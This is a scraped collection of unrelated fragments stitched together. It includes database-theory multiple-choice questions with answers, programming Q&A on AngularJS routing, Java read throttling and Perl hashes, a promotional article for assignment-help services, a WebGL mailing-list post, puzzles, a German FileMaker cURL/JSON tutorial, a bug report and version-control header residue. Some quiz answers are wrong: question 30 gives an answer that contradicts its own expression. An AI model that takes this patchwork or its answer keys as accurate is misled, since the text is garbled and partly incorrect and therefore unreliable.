D. Tuple
Answer» B. Column
28.
What is the method of specifying a primary key in a schema description?
A. By writing it in bold letters
B. By underlining it using a dashed line
C. By writing it in capital letters
D. By underlining it using a bold line
Answer» D. By underlining it using a bold line
29.
Statement 1: A tuple is a row in a relation Statement 2: Existence of multiple foreign keys in a same relation is possible
A. Both the statements are true
B. Statement 1 is correct but Statement 2 is false
C. Statement 1 is false but Statement 2 is correct
D. Both the statements are false
Answer» A. Both the statements are true
30.
Choose the option that correctly explains in words, the function of the following relational algebra expression σyear≥2009 (book ⋈ borrow)
A. Selects all tuples from the Cartesian product of book and borrow
B. Selects all the tuples from the natural join of book and borrow wherever the year is lesser than 2009
C. Selects all the tuples from the natural join of book and student wherever the year is greater than or equal to 2009
D. Selects all tuples from the Cartesian product of book and borrow wherever the year is greater than or equal to 2009
Answer» B. Selects all the tuples from the natural join of book and borrow wherever the year is lesser than 2009
31.
State true or false: If a relation consists of a foreign key, then it is called a referenced relation of the foreign key dependency.
A. True
B. False
C. none
D. all
Answer» B. False
32.
Which of the following information does an SQL DDL not specify?
A. The schema for each relation
B. The integrity constraints
C. The operations on the tuples
D. The security and authorization information for each relation
Answer» C. The operations on the tuples
33.
Which of the following data types does the SQL standard not support?
A. char(n)
B. String(n)
C. varchar(n)
D. float(n)
Answer» B. String(n)
34.
Which command is used to create a new relation in SQL
A. create table( , …)
B. create relation( , …)
C. new table( , …)
D. new relation( , …)
Answer» A. create table( , …)
35.
If a1, a2, a3 are attributes in a relation and S is another relation, which of the following is an incorrect specification of an integrity constraint?
A. primary key(a1, a2, a3)
B. primary key(a1)
C. foreign key(a1, a2) references S
D. foreign key(a1, a2)
Answer» D. foreign key(a1, a2)
36.
What is the syntax to load data into the database? (Consider D as the database and a, b, c as datA:)
A. enter into D (a, b, C:);
B. insert into D values (a, b, C:);
C. insert into D (a, b, C:);
D. insert (a, b, C:) values into D;
Answer» B. insert into D values (a, b, C:);
37.
Which of the following commands do we use to delete a relation (R) from a database?
A. drop table R
B. drop relation R
C. delete table R
D. delete from R
Answer» A. drop table R
38.
Which of the following commands do we use to delete all the tuples from a relation (R)?
A. delete table R
B. drop table R
C. delete from R
D. drop from R
Answer» C. delete from R
39.
Choose the correct command to delete an attribute A from a relation R
A. alter table R delete A
B. alter table R drop A
C. alter table drop A from R
D. delete A from R
Answer» B. alter table R drop A
40.
create table apartment(ownerID varchar (5), ownername varchar(25), floor numeric(4,0),
primary key (ownerID:));
Choose the correct option regarding the above statement
A. The statement is syntactically wrong
B. It creates a relation with three attributes ownerID, ownername, floor in which floor cannot be null.
C. It creates a relation with three attributes ownerID, ownername, floor in which ownerID cannot be null.
D. It creates a relation with three attributes ownerID, ownername, floor in which ownername must consist of at least 25 characters.
Answer» C. It creates a relation with three attributes ownerID, ownername, floor in which ownerID cannot be null.
41.
What does the notnull integrity constraint do?
A. It ensures that at least one tuple is present in the relation
B. It ensures that at least one foreign key is present in the relation
C. It ensures that all tuples have a finite value on a specified attribute
D. It ensures that all tuples have finite attributes on all the relations
Answer» C. It ensures that all tuples have a finite value on a specified attribute
Tags
Question and answers in Relational Modal, Relational Modal multiple choice questions and answers, Relational Modal Important MCQs, Solved MCQs for Relational Modal, Relational Modal MCQs with answers PDF download
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37
I have a request to add in another URL parameter that directs to a state that I already have set up. For efficiency purposes, I'm trying to see if I can add multiple URLs to point to the same state, or should I just use the $UrlRouterProvider.when() method to re-direct to that state in this new case.
Ex. this is what already exists
.state('site.link1',
{
url: '/link1',
templateUrl: '/views/link1.html',
controller: 'link1Ctrl'
})
and the request is to add www.site.com/newlink that points to the link1 page. Is there something like this;
.state('site.link1',
{
url: '/link1, /newlink',
...
3
• 1
Currently you'd have to use either .when or define state multi times, with different url... there is some how to: stackoverflow.com/a/23853129/1679310 Jan 25, 2015 at 15:48
• 1
if the only change is the stateParams you can get away with the same route and just passing empty param, the only thing that is not so elegant is that you'll have a "//" in your url. if the spec is defining a completely different url then a new state is needed Jan 25, 2015 at 16:23
• if 2 different param value on the same state redirects to these different ursl then you can use templateurl as a function where you get first argument as routeparam and return the url accordingly. but it is little unclear on what exactly you are trying to do.
– PSL
Jan 25, 2015 at 16:44
5 Answers 5
16
Try using the Regex and a parameter in the url. It is not optimal but works.
.state('site.link1',
{
url: '/{path:link1|newlink}',
templateUrl: '/views/link1.html',
controller: 'link1Ctrl'
})
More information on regex in Urls.
To generate links with ui-sref pass the same parameter with the state name as a function
<a ui-sref="site.link1({path:'link1'})" >site link 1</a>
<a ui-sref="site.link1({path:'newlink'})">site new link</a>
15
You use params:
https://github.com/angular-ui/ui-router/wiki/URL-Routing
.state('site.link',
{
url: '/{link}'
..
}
so when you use the same state like this
$state.go('site.link', {link: 'link1'})
$state.go('site.link', {link: 'link2'})
2
• 1
i'm curious, where did you see such an example in the link you provide ?
– mpgn
Jan 15, 2016 at 15:06
• The link show the documentation and it uses contacts.details. I just use this example to show how to change state using "go" function.
– Valter
Jan 17, 2016 at 16:06
11
you can used when() function
.state('site.link1',
{
url: '/link1',
templateUrl: '/views/link1.html',
controller: 'link1Ctrl'
})
then on root config
angular.module('myApp', [...])
.config(function ($urlRouterProvider) {
$urlRouterProvider.when(/newlink/, ['$state','$match', function ($state, $match) {
$state.go('site.link1');
}]);
});
4
I found this approach to be quite simple and clean: create two equal states, just changing the url property
//Both root and login are the same, but with different url's.
var rootConfig = {
url: '/',
templateUrl:'html/authentication/login.html',
controller: 'authCtrl',
data: {
requireLogin: false
}
}
var loginConfig = Object.create(rootConfig)
loginConfig.url = '/login'
$stateProvider
.state('root', rootConfig)
.state('login', loginConfig)
1
• Well, isn't this example for two states? Would there be an instance where we can override the state's url option? So, at the end, there will be just one state. Thanks. Jul 20, 2018 at 15:53
0
I had almost the same problem, only with another constraint - I didn't want to use a redirect, since I wanted the url in the browser to stay the same, but display the same state.
This was because I wanted the chrome saved passwords to work for users that already saved the previous url.
In my case I wanted these two urls :
/gilly and
/new/gilly
to both point to the same state.
I solved this by having one state defined for /gilly, and for the second url, I defined an abstract state called /new.
This should be set up like this :
$stateProvider.state('new', {
abstract: true,
url: '/new'
template: '',
controller: function() { }
}).state('gilly', {
url: '/gilly',
template: 'gilly.html',
controller: 'GillyController'
}).state('new.gilly', {
url: '/gilly', // don't add the '/new' prefix here!
template: 'gilly.html',
controller: 'GillyController'
});
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Comment on
( #3333=superdoc: print w/ replies, xml ) Need Help??
I am still a newbie, but / therefore - what is wrong with using hash here (with keys as line numbers and values as bases)?
#!/usr/bin/perl -l use strict; use warnings; print "If an array element is a line number and a base together as a s +tring:"; my %positions; for my $line (split /\n/, <<'END') 1 ACAC 2 AGAC 3 AGTC 4 ACCA END { next if $line =~ /[GT]/; my ($number, $bases ) = split / /, $line; $positions{$number} = $bases; } for my $number ( sort keys %positions ) { print "$number => $positions{$number}"; print "Just print a number $number"; } print "If there is an array element for a line number and for a base:" +; my @array = ( qw (1 ACAC 2 AGAC 3 AGTC 4 ACCA) ); %positions = (); for (my $i = 0; $i < @array; $i +=2 ) { my ($number, $bases ) = @array[$i, $i+1]; next if $bases =~ /[GT]/; $positions{$number} = $bases; } for my $number (sort keys %positions) { print "$number => $positions{$number}"; print "Just print a number $number"; }
It prints:
If an array element is a line number and a base together as a string: 1 => ACAC Just print a number 1 4 => ACCA Just print a number 4 If there is an array element for a line number and for a base: 1 => ACAC Just print a number 1 4 => ACCA Just print a number 4
In reply to Re: filtering an array by vagabonding electron
in thread filtering an array by prbndr
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How do you install Adobe Production Premium CS5 on a different hard drive in windows?
Is there a way of installing Adobe Production Premium CS5 on a hard drive other than C:\? I tried changing the install path in the installer but after installing parts of the program don't work and it ...
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Is there an article/algorithm on how I can read a long file at a certain rate?
Say I do not want to pass 10 KB/sec while issuing reads.
share|improve this question
1
The question is why would you want to read a file at a certain rate? Sounds like you want to read data on demand, thus understanding your "demand" might allow us to point you to a better solution. – EFraim May 16 '09 at 14:13
I am going to download a large file off the internet but i don't want my application to pass the user set limit. – Hamza Yerlikaya May 16 '09 at 14:17
up vote 4 down vote accepted
The crude solution is just to read a chunk at a time and then sleep eg 10k then sleep a second. But the first question I have to ask is: why? There are a couple of likely answers:
1. You don't want to create work faster than it can be done; or
2. You don't want to create too great a load on the system.
My suggestion is not to control it at the read level. That's kind of messy and inaccurate. Instead control it at the work end. Java has lots of great concurrency tools to deal with this. There are a few alternative ways of doing this.
I tend to like using a producer consumer pattern for soling this kind of problem. It gives you great options on being able to monitor progress by having a reporting thread and so on and it can be a really clean solution.
Something like an ArrayBlockingQueue can be used for the kind of throttling needed for both (1) and (2). With a limited capacity the reader will eventually block when the queue is full so won't fill up too fast. The workers (consumers) can be controlled to only work so fast to also throttle the rate covering (2).
share|improve this answer
A simple solution, by creating a ThrottledInputStream.
This should be used like this:
final InputStream slowIS = new ThrottledInputStream(new BufferedInputStream(new FileInputStream("c:\\file.txt"),8000),300);
300 is the number of kilobytes per second. 8000 is the block size for BufferedInputStream.
This should of course be generalized by implementing read(byte b[], int off, int len), which will spare you a ton of System.currentTimeMillis() calls. System.currentTimeMillis() is called once for each byte read, which can cause a bit of an overhead. It should also be possible to store the number of bytes that can savely be read without calling System.currentTimeMillis().
Be sure to put a BufferedInputStream in between, otherwise the FileInputStream will be polled in single bytes rather than blocks. This will reduce the CPU load form 10% to almost 0. You will risk to exceed the data rate by the number of bytes in the block size.
import java.io.InputStream;
import java.io.IOException;
public class ThrottledInputStream extends InputStream {
private final InputStream rawStream;
private long totalBytesRead;
private long startTimeMillis;
private static final int BYTES_PER_KILOBYTE = 1024;
private static final int MILLIS_PER_SECOND = 1000;
private final int ratePerMillis;
public ThrottledInputStream(InputStream rawStream, int kBytesPersecond) {
this.rawStream = rawStream;
ratePerMillis = kBytesPersecond * BYTES_PER_KILOBYTE / MILLIS_PER_SECOND;
}
@Override
public int read() throws IOException {
if (startTimeMillis == 0) {
startTimeMillis = System.currentTimeMillis();
}
long now = System.currentTimeMillis();
long interval = now - startTimeMillis;
//see if we are too fast..
if (interval * ratePerMillis < totalBytesRead + 1) { //+1 because we are reading 1 byte
try {
final long sleepTime = ratePerMillis / (totalBytesRead + 1) - interval; // will most likely only be relevant on the first few passes
Thread.sleep(Math.max(1, sleepTime));
} catch (InterruptedException e) {//never realized what that is good for :)
}
}
totalBytesRead += 1;
return rawStream.read();
}
}
share|improve this answer
1
FYI: The interrupted Exception is to ensure that the Thread can immediately response to a interrupt request, even if it is sleeping. – Simiil Oct 31 '13 at 20:10
• while !EOF
• store System.currentTimeMillis() + 1000 (1 sec) in a long variable
• read a 10K buffer
• check if stored time has passed
• if it isn't, Thread.sleep() for stored time - current time
Creating ThrottledInputStream that takes another InputStream as suggested would be a nice solution.
share|improve this answer
It depends a little on whether you mean "don't exceed a certain rate" or "stay close to a certain rate."
If you mean "don't exceed", you can guarantee that with a simple loop:
while not EOF do
read a buffer
Thread.wait(time)
write the buffer
od
The amount of time to wait is a simple function of the size of the buffer; if the buffer size is 10K bytes, you want to wait a second between reads.
If you want to get closer than that, you probably need to use a timer.
• create a Runnable to do the reading
• create a Timer with a TimerTask to do the reading
• schedule the TimerTask n times a second.
If you're concerned about the speed at which you're passing the data on to something else, instead of controlling the read, put the data into a data structure like a queue or circular buffer, and control the other end; send data periodically. You need to be careful with that, though, depending on the data set size and such, because you can run into memory limitations if the reader is very much faster than the writer.
share|improve this answer
If you have used Java I/O then you should be familiar with decorating streams. I suggest an InputStream subclass that takes another InputStream and throttles the flow rate. (You could subclass FileInputStream but that approach is highly error-prone and inflexible.)
Your exact implementation will depend upon your exact requirements. Generally you will want to note the time your last read returned (System.nanoTime). On the current read, after the underlying read, wait until sufficient time has passed for the amount of data transferred. A more sophisticated implementation may buffer and return (almost) immediately with only as much data as rate dictates (be careful that you should only return a read length of 0 if the buffer is of zero length).
share|improve this answer
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__label__pos
| 0.810339 |
5.6 C
New York
Friday, February 23, 2024
The Importance of Timely Submission of Software Engineering Assignments
Software engineering is a complex field that requires meticulous planning, coding, and testing to ensure the development of reliable and efficient software systems. As part of their academic journey, software engineering students often face numerous assignments that test their understanding and application of various concepts. One crucial aspect of these assignments is their timely submission, which holds significant importance for the students’ academic progress and future careers. This article explores the reasons why timely submission of software engineering assignments is essential and highlights the benefits of seeking Software Engineering Assignment Help when needed.
Academic Progress:
Timely submission of assignments is vital for maintaining a good academic record. Assignments contribute to a significant portion of students’ grades, and submitting them on time demonstrates discipline, responsibility, and commitment to learning. Late submissions can result in penalties, reduced grades, or even academic probation. By submitting assignments promptly, students ensure that they make the most of their academic opportunities and maximize their chances of success.
Professionalism:
In the field of software engineering, meeting deadlines is a crucial aspect of professional life. Completing assignments on time helps students cultivate professionalism, an essential quality sought after by employers. Employers value professionals who can work efficiently under pressure and deliver results within stipulated timeframes. By practicing timely submission of assignments during their academic journey, students develop a habit that can benefit them in their future careers.
Time Management:
Timely submission of assignments requires effective time management skills. By planning and organizing their work, students learn to allocate sufficient time to complete their assignments, ensuring they meet the deadlines. These skills are valuable in software engineering, where projects often have strict timelines and deliverables. Learning to manage time effectively during academic assignments prepares students to handle real-world projects with professionalism and efficiency.
Reduced Stress:
Procrastination and last-minute submissions can lead to increased stress levels. When students delay their assignments, they often find themselves rushing to complete them, resulting in compromised quality. By submitting assignments on time, students can avoid unnecessary stress and dedicate ample time to understand concepts, conduct thorough research, and produce high-quality work. Timely submission fosters a sense of calm and confidence, enabling students to perform at their best.
Feedback and Improvement:
Submitting assignments on time allows students to receive timely feedback from their professors. Feedback plays a crucial role in understanding strengths and areas for improvement. It helps students identify their mistakes, rectify them, and enhance their knowledge and skills. By receiving feedback promptly, students can implement suggestions in subsequent assignments, leading to continuous improvement in their understanding of software engineering concepts.
Seeking Software Engineering Assignment Help:
While the importance of timely submission is clear, students may encounter difficulties that hinder their progress. This is where software Engineering Assignment Help services can be invaluable. When facing complex assignments or struggling with time constraints, students can seek assistance from professionals in the field. These services provide expert guidance, ensuring students meet deadlines and produce high-quality work. Seeking help not only aids in timely submission but also enhances students’ understanding of the subject matter.
In conclusion, timely submission of software engineering assignments is crucial for academic progress, professionalism, time management, stress reduction, feedback, and improvement. By submitting assignments on time, students demonstrate their commitment to learning, cultivate essential professional qualities, and develop effective time management skills. Additionally, seeking software engineering assignment help when needed can further support timely submission and provide valuable guidance. By recognizing the importance of meeting deadlines, software engineering students can lay a strong foundation for their academic and professional success.
Ahsan Khan
Ahsan Khan
Hi, I'm admin of techfily if you need any post and any information then kindly contact us! Mail: [email protected] WhatsApp: +923233319956 Best Regards,
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[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
[Public WebGL] Feedback from HTML5 WG on WebGL | [Fwd: Re: WebGL | The 3D Canvas Context for HTML]
Since our release yesterday, we've got some feedback from the W3C HTML5 Listserv. Most of the WHATWG post on the HTML5 listserv at W3C, which has the advantage of attracting Microsoft participation. The W3C HTML5 listserv is archived publicly here: http://lists.w3.org/Archives/Public/public-html/
--- Begin Message --- On Thu, 10 Dec 2009 23:47:07 +0100, Arun Ranganathan <[email protected]> wrote:
[...]
I've been trying to cut my mailing list subscriptions recently so hopefully someone can forward this as appropriate.
https://cvs.khronos.org/svn/repos/registry/trunk/public/webgl/doc/spec/WebGL-spec.html
The draft appears to use outdated Web IDL syntax. It also uses features, e.g. NameDeleter that are controversial with TC39 so you may want to reconsider using those.
It also seems that a bunch of the new objects introduced should really be part of ECMAScript instead. E.g. all the new typed array interfaces.
Some of the typedefs are scoped to WebGLRenderingContext but are in fact used all over the place.
Also, why is it WebGLRenderingContext and not CanvasRenderingContextWebGL which would be more consistent with the existing CanvasRenderingContext2D?
It does not seem to be defined when the event defined at the end of the specification is actually dispatched. The name of the event is also not defined, just the interface it implements. Also, if more than one resource is lost, which one does "resource" return? And why do you need the context attribute? Isn't it already clear that the event is for the WebGL context?
-- Anne van Kesteren http://annevankesteren.nl/
--- End Message ---
|
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| 0.797165 |
anonymous
• anonymous
Tim, Paco, Maria, and Jenny are standing in line for lunch. Jenny is standing between Paco and Maria, and Paco’s position in line is an odd number. Tim is not standing on either end of the line, and he is in front of Jenny. Which friend is standing fourth in line?
Discrete Math
• Stacey Warren - Expert brainly.com
Hey! We 've verified this expert answer for you, click below to unlock the details :)
SOLVED
At vero eos et accusamus et iusto odio dignissimos ducimus qui blanditiis praesentium voluptatum deleniti atque corrupti quos dolores et quas molestias excepturi sint occaecati cupiditate non provident, similique sunt in culpa qui officia deserunt mollitia animi, id est laborum et dolorum fuga. Et harum quidem rerum facilis est et expedita distinctio. Nam libero tempore, cum soluta nobis est eligendi optio cumque nihil impedit quo minus id quod maxime placeat facere possimus, omnis voluptas assumenda est, omnis dolor repellendus. Itaque earum rerum hic tenetur a sapiente delectus, ut aut reiciendis voluptatibus maiores alias consequatur aut perferendis doloribus asperiores repellat.
schrodinger
• schrodinger
I got my questions answered at brainly.com in under 10 minutes. Go to brainly.com now for free help!
anonymous
• anonymous
Let T=Tim P=Paco M=Maria J=Jenny then, if T is not on either end but must be in front of J, we know the position of the 4 must be either P T J M OR M T J P. Given that, which one must it be?
Looking for something else?
Not the answer you are looking for? Search for more explanations.
|
__label__pos
| 0.51978 |
Let 11 divide!
N = 100 a + 10 b + c \begin{aligned} \text{N}= {\color{#3D99F6}100a + 10b + c }\end{aligned} I have a three digits number as shown above which is always divisible by 11 where a , b a, b and c c are it's digits.
( 1 ) c a b , c a b + c = 0 ( 2 ) c a > b , c a + b + c = 11 ( 3 ) c a > c , c a c b = 0 ( 4 ) c c > a , c c a b = 0 \begin{aligned} & (1) \phantom{c}a \leq b , \phantom{c}a-b +c =0 \\& (2) \phantom{c} a >b, \phantom{c} a+b +c =11 \\& (3) \phantom{c} a > c ,\phantom{c} a-c -b =0 \\& (4) \phantom{c} c> a, \phantom{c} c-a-b = 0\\&\end{aligned}
How many of the above statements are/is always true ?
4 1 All are false 3 All are true 2
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1 solution
Giorgos K.
Feb 22, 2018
using Mathematica
case 1
#[[1]] - #[[2]] + #[[3]] & /@ Select[IntegerDigits /@ Table[11 i, {i, 10, 90}], #[[1]] <= #[[2]] &]
{0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0} True
case 2
#[[1]] + #[[2]] + #[[3]] & /@ Select[IntegerDigits /@ Table[11 i, {i, 10, 90}], #[[1]] > #[[2]] &]
{11, 11, 13, 11, 13, 15, 11, 13, 15, 17, 11, 13, 15, 17, 19, 11, 13, 15, 17, 19, 21, 11, 13, 15, 17, 19, 21, 23, 11, 13, 15, 17, 19, 21, 23, 25} False
case 3
#[[1]] - #[[2]] - #[[3]] & /@ Select[IntegerDigits /@ Table[11 i, {i, 10, 90}], #[[1]] > #[[3]] &]
{0, 0, -2, 0, -2, -4, 0, -2, -4, -6, 0, -2, -4, -6, -8, 1, 0, -2, -4, -6, 3, 1, -1, 0, -2, -4, 5, 3, 1, -1, -3, 0, -2, 7, 5, 3, 1, -1, -3, -5, 0} False
case 4
#[[3]] - #[[1]] + #[[2]] & /@ Select[IntegerDigits /@ Table[11 i, {i, 10, 90}], #[[1]] < #[[3]] &]
{4, 6, 8, 10, 12, 14, 16, 7, 6, 8, 10, 12, 14, 5, 7, 8, 10, 12, 3, 5, 7, 10, 1, 3, 5, 7, 3, 5, 7, 5, 7, 7} False
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|
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| 0.973146 |
FileMaker cURL JSON zu eigenem Webserver senden
Mit FileMaker 16 ist es möglich cURL-Optionen mit nativen Bordmitteln zu nutzen.
Wie man ein JSON von einem Webserver abholt, haben wir schon in einem früheren Tutorial gezeigt. In diesem Artikel geht es darum, ein JSON zu einem Webserver zu schicken.
Auf unserer Homepage findet Ihr unter https://fm-tutorial.de/api/json/json_check.php ein PHP-Script, an das Ihr euer JSON senden könnt.
Wenn Ihr auf den Link klickt, erscheint ein JSON:
{
"code": 500,
"msg": "JSON - Syntaxfehler, ung\u00fcltiges JSON"
}
Dieses PHP-Script dient als kleine API z.B. zur eurer Homepage, Webshop, etc.
Hier in unserem Beispiel-PHP-Script wird ein Token “fm-tutorial.de” im JSON erwartet. Sollte kein gültiger Token im JSON enthalten sein, wird obige Meldung mit dem HTTP-Code 500 ausgegeben. Da ich über einen ganz gewöhnlichen Browseraufruf kein JSON mit senden kann, wird ein JSON-Syntax-Fehler ausgegeben.
Das PHP-Script beinhaltet zwei Funktionen isJSONValid() und getCode($code), um das JSON zu prüfen und einen Antwort-Header zu setzen.
function isJSONValid()
{
switch(json_last_error())
{
case JSON_ERROR_NONE:
return "ok";
case JSON_ERROR_DEPTH:
return 'JSON - Maximale Stacktiefe überschritten';
case JSON_ERROR_STATE_MISMATCH:
return 'JSON - Unterlauf oder Nichtübereinstimmung der Modi';
case JSON_ERROR_CTRL_CHAR:
return 'JSON - Unerwartetes Steuerzeichen gefunden';
case JSON_ERROR_SYNTAX:
return 'JSON - Syntaxfehler, ungültiges JSON';
case JSON_ERROR_UTF8:
return 'JSON - Missgestaltete UTF-8 Zeichen, möglicherweise fehlerhaft kodiert';
default:
return 'JSON - Unbekannter Fehler';
}
}
Wird ausgeführt nachdem versucht wurde, das gesendete JSON in ein Objekt zu parsen, um zu prüfen welcher Fehler beim parsen des JSON auftrat.
function getCode($code)
{
switch ($code)
{
case 100: $text = 'Continue'; break;
case 101: $text = 'Switching Protocols'; break;
case 200: $text = 'OK'; break;
case 201: $text = 'Created'; break;
case 202: $text = 'Accepted'; break;
case 203: $text = 'Non-Authoritative Information'; break;
case 204: $text = 'No Content'; break;
case 205: $text = 'Reset Content'; break;
case 206: $text = 'Partial Content'; break;
case 300: $text = 'Multiple Choices'; break;
case 301: $text = 'Moved Permanently'; break;
case 302: $text = 'Moved Temporarily'; break;
case 303: $text = 'See Other'; break;
case 304: $text = 'Not Modified'; break;
case 305: $text = 'Use Proxy'; break;
case 400: $text = 'Bad Request'; break;
case 401: $text = 'Unauthorized'; break;
case 402: $text = 'Payment Required'; break;
case 403: $text = 'Forbidden'; break;
case 404: $text = 'Not Found'; break;
case 405: $text = 'Method Not Allowed'; break;
case 406: $text = 'Not Acceptable'; break;
case 407: $text = 'Proxy Authentication Required'; break;
case 408: $text = 'Request Time-out'; break;
case 409: $text = 'Conflict'; break;
case 410: $text = 'Gone'; break;
case 411: $text = 'Length Required'; break;
case 412: $text = 'Precondition Failed'; break;
case 413: $text = 'Request Entity Too Large'; break;
case 414: $text = 'Request-URI Too Large'; break;
case 415: $text = 'Unsupported Media Type'; break;
case 500: $text = 'Internal Server Error'; break;
case 501: $text = 'Not Implemented'; break;
case 502: $text = 'Bad Gateway'; break;
case 503: $text = 'Service Unavailable'; break;
case 504: $text = 'Gateway Time-out'; break;
case 505: $text = 'HTTP Version not supported'; break;
default:
exit('Unknown http status code "' . htmlentities($code) . '"');
break;
}
$protocol = (isset($_SERVER['SERVER_PROTOCOL']) ? $_SERVER['SERVER_PROTOCOL'] : 'HTTP/1.0');
header($protocol . ' ' . $code . ' ' . $text);
}
Setzt den HTTP-Antwort-Code und den entsprechenden Header. Auf diesen Header reagiert auch FileMaker. Senden wir z.B. den Code 401, gibt FileMaker den FileMaker-Error-Code 1627 aus.
Hinweis:
FileMaker zeigt nur die Response, wenn es sich um einen erfolgreichen Quittierungcode z.B. 200, 201 handelt.
Damit immer eine Response an FileMaker zurück gegeben wird, sollte im Header immer Code 200 zurückgegeben werden.
Die Überprüfung kann man über das JSON vornehmen, in dem der Parameter code auf den Wert 200, in FileMaker geprüft wird.
Da das JSON über keinen POST-Parameter z.B. data = {“json” : “wert”} gesendet wird, muss die Response über file_get_contents ermittelt werden.
json_decode(file_get_contents('php://input'));
Das JSON wird aus dem Request-Body in ein Objekt geparst. Anschließend wird die Funktion isJSONValid() ausgeführt, um zu überprüfen, ob das JSON der Norm entspricht.
Anschließend erfolgt die Überprüfung des Tokens. Dieser kann z.B. mittels einer Datenbank geprüft bzw. gesperrt werden. Ist der Token nicht “fm-tutorial.de” wird der Code 401 zurückgegeben.
#JSON validieren
$isValid = isJSONValid();
if( $isValid != 'ok')
{
$r['code'] = 500;
$r['msg'] = $isValid;
}
#Token prüfen
elseif($ar->token != 'fm-tutorial.de')
{
$r['code'] = 401;
$r['msg'] = 'Dein Token stimmt nicht!';
}
else
{
$r['code'] = 200;
$r['msg'] = 'Ok, dein JSON entspricht der Prüfung.';
}
Nun muss die Antwort ($r), welche momentan noch ein PHP-Array ist, in ein JSON formatiert und ausgegeben werden.
#Output
getCode($r['code']);
header('Content-Type: application/json');
echo json_encode($r, JSON_PRETTY_PRINT);
exit;
Wir übergeben den Parameter “code” in der Funktion getCode, dadurch wird der entsprechende HTTP-Status-Code und Header gesetzt.
Zusätzlich geben wir im Header an, das wir ein JSON zurückgeben – gefolgt von der Ausgabe des $r-Arrays als formatiertes (JSON_PRETTY_PRINT) JSON.
FileMaker
Damit ein JSON an unseren kleinen Webservice gesendet werden kann, benötigt man mindestens FileMaker 16.
Das JSON holen wir hier im Beispiel aus dem Feld “json” und speichern dies in der Variablen $data.
-H 'Content-Type: application/json' --data @$data
Wir setzen den Header ( -H ), dass wir ein JSON senden.
Durch das –data Attribut übermitteln wir die Daten. Durch das vorangestellte @ weißen wir FileMaker an, den Wert für –data aus der Variabelen $data zu holen, welches unser JSON gespeichert hat.
Zusätzlich können wir noch für das Debuggen die Trace und Header setzen.
--show-error --dump-header $header --trace-ascii $trace -i -v -H 'Content-Type: application/json' --data @$data
Diese cURL-Anweisung speichern wir in den FileMaker-Variablen $curl.
Danach benötigen wir noch den Scriptschritt Aus URL einfügen , um den Request abzusetzen.
Das PHP-Script und die FileMaker-Programmierung findet Ihr im Download.
Falls Ihr dieses PHP-Script auf eurem eigenen Webserver betreiben wollt, benötigt ihr PHP ab Version 5.6.
Download
FM cURL JSON Webserver (212,0 KiB, 1.701 hits)
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__label__pos
| 0.886103 |
Learn how easy it is to sync an existing GitHub or Google Code repo to a SourceForge project! See Demo
Close
#793 Japanese text input problem (patch available)
None
fixed
nobody
None
1
2013-08-26
2013-08-19
Yuuto Tokunaga
No
I'm an linux user. When I input Japanese text in the editor with ibus (input method framework for linux), I can't see any preedit text on screen. After I pressed enter to settle preedit text, I can see what I wrote.
I tried to fix this problem and I found QEditor::inputMethodEvent function in qcodeedit/lib/qeditor.cpp. I found a part of this function isn't work due to #ifdef Q_WS_MAC. Codes between #ifdef Q_WS_MAC and #endif only works on Mac OS.
After a bit coding and debugging, I fixed this problem. I checked that Japanese input works good on Kubuntu.
But I can't understand why the code is disabled by #ifdef Q_WS_MAC. Is there any reason?
patch is here : http://pastebin.ubuntu.com/6002384/
1 Attachments
Discussion
• how does "kate" handle japanese inputs ?
The issue is that i did not want txs to feel differently from standard programs.
why is "e->accept()" necessary ?
when is the extra if(...) necessary ?
• Yuuto Tokunaga
Yuuto Tokunaga
2013-08-20
I wrote this patch following kate 4.10.5 source code.
I found e->accept() at the end of KateViewInternal::inputMethodEvent(QInputMethodEvent* e) function, so I added it.
Extra if(...) is needed when the text is deleted by Backspace key or input canceled by Esc key. Without this code, you find that text isn't deleted after you canceled input by pressing Esc key.
When you press Esc key, IME send QInputMethodEvent e that includes empty preeditString and empty commitString, but inputMethodEvent function can't handle this so the text isn't deleted.
• okay, implemented in svn.
Let's see if any problems arise ...
• status: open --> fixed
• Group: -->
• seems to work
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| 0.767335 |
head 1.3; access; symbols pkgsrc-2020Q1:1.3.0.30 pkgsrc-2020Q1-base:1.3 pkgsrc-2019Q4:1.3.0.52 pkgsrc-2019Q4-base:1.3 pkgsrc-2019Q3:1.3.0.48 pkgsrc-2019Q3-base:1.3 pkgsrc-2019Q2:1.3.0.46 pkgsrc-2019Q2-base:1.3 pkgsrc-2019Q1:1.3.0.44 pkgsrc-2019Q1-base:1.3 pkgsrc-2018Q4:1.3.0.42 pkgsrc-2018Q4-base:1.3 pkgsrc-2018Q3:1.3.0.40 pkgsrc-2018Q3-base:1.3 pkgsrc-2018Q2:1.3.0.38 pkgsrc-2018Q2-base:1.3 pkgsrc-2018Q1:1.3.0.36 pkgsrc-2018Q1-base:1.3 pkgsrc-2017Q4:1.3.0.34 pkgsrc-2017Q4-base:1.3 pkgsrc-2017Q3:1.3.0.32 pkgsrc-2017Q3-base:1.3 pkgsrc-2017Q2:1.3.0.28 pkgsrc-2017Q2-base:1.3 pkgsrc-2017Q1:1.3.0.26 pkgsrc-2017Q1-base:1.3 pkgsrc-2016Q4:1.3.0.24 pkgsrc-2016Q4-base:1.3 pkgsrc-2016Q3:1.3.0.22 pkgsrc-2016Q3-base:1.3 pkgsrc-2016Q2:1.3.0.20 pkgsrc-2016Q2-base:1.3 pkgsrc-2016Q1:1.3.0.18 pkgsrc-2016Q1-base:1.3 pkgsrc-2015Q4:1.3.0.16 pkgsrc-2015Q4-base:1.3 pkgsrc-2015Q3:1.3.0.14 pkgsrc-2015Q3-base:1.3 pkgsrc-2015Q2:1.3.0.12 pkgsrc-2015Q2-base:1.3 pkgsrc-2015Q1:1.3.0.10 pkgsrc-2015Q1-base:1.3 pkgsrc-2014Q4:1.3.0.8 pkgsrc-2014Q4-base:1.3 pkgsrc-2014Q3:1.3.0.6 pkgsrc-2014Q3-base:1.3 pkgsrc-2014Q2:1.3.0.4 pkgsrc-2014Q2-base:1.3 pkgsrc-2014Q1:1.3.0.2 pkgsrc-2014Q1-base:1.3 pkgsrc-2013Q4:1.2.0.6 pkgsrc-2013Q4-base:1.2 pkgsrc-2013Q3:1.2.0.4 pkgsrc-2013Q3-base:1.2 pkgsrc-2013Q2:1.2.0.2 pkgsrc-2013Q2-base:1.2 pkgsrc-2013Q1:1.1.0.58 